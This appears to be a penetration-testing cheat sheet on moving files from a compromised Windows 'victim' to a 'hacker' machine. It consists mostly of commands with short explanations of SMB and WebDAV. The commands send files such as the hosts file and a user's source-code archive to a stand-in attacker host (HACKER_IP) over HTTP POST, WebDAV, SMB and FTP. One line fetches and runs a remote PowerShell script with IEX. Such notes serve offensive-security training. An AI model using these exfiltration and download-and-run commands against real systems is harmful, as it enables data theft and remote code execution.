PowerShell Base64 Encode & Decode ( Target -> Hacker )

VICTIM

PS C:\dotnetguard> [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))
<BASE_64>
PS C:\dotnetguard> Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash


HACKER

$ echo <BASE_64> | base64 -d > hosts

PowerShell Web Uploads ( Target -> Hacker )


HACKER

$ pip3 install uploadserver
$ python3 -m uploadserver


VICTIM

PS C:\dotnetguard> IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')
PS C:\dotnetguard> Invoke-FileUpload -Uri http://HACKER_IP/upload -File C:\Windows\System32\drivers\etc\hosts

PowerShell Base64 Web Upload

HACKER

$ nc -lvnp 8000


VICTIM

PS C:\dotnetguard> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
PS C:\dotnetguard> Invoke-WebRequest -Uri http://HACKER_IP/ -Method POST -Body $b64



SMB Uploads ( Target -> Hacker )

We previously discussed that companies usually allow outbound traffic using HTTP (TCP/80) and HTTPS (TCP/443) protocols. Commonly enterprises don't allow the SMB protocol (TCP/445) out of their internal network because this can open them up to potential attacks. For more information on this, we can read the Microsoft post Preventing SMB traffic from lateral connections and entering or leaving the network.


An alternative is to run SMB over HTTP with WebDav. WebDAV (RFC 4918) is an extension of HTTP, the internet protocol that web browsers and web servers use to communicate with each other. The WebDAV protocol enables a webserver to behave like a fileserver, supporting collaborative content authoring. WebDAV can also use HTTPS.

When you use SMB, it will first attempt to connect using the SMB protocol, and if there's no SMB share available, it will try to connect using HTTP.


HACKER

$ sudo pip3 install wsgidav cheroot
$ sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous


VICTIM

C:\dotneguard> dir \\HACKER_IP\DavWWWRoot


Note: DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server.


You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \HACKER_IP\sharefolder

C:\dotneguard> copy C:\Users\john\Desktop\SourceCode.zip \\HACKER_IP\DavWWWRoot\
C:\dotneguard> copy C:\Users\john\Desktop\SourceCode.zip \\HACKER_IP\sharefolder\


FTP Uploads ( Target -> Hacker )

HACKER

$ sudo python3 -m pyftpdlib --port 21 --write

VICTIM

PS C:\dotnetguard> (New-Object Net.WebClient).UploadFile('ftp://HACKER_IP/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')


Non-Interactive Shell VICTIM

C:\dotnetguard> echo open HACKER_IP > ftpcommand.txt
C:\dotnetguard> echo USER anonymous >> ftpcommand.txt
C:\dotnetguard> echo binary >> ftpcommand.txt
C:\dotnetguard> echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
C:\dotnetguard> echo bye >> ftpcommand.txt
C:\dotnetguard> ftp -v -n -s:ftpcommand.txt

ftp> open HACKER_IP

Log in with USER and PASS first.


ftp> USER anonymous

ftp> PUT c:\windows\system32\drivers\etc\hosts

ftp> bye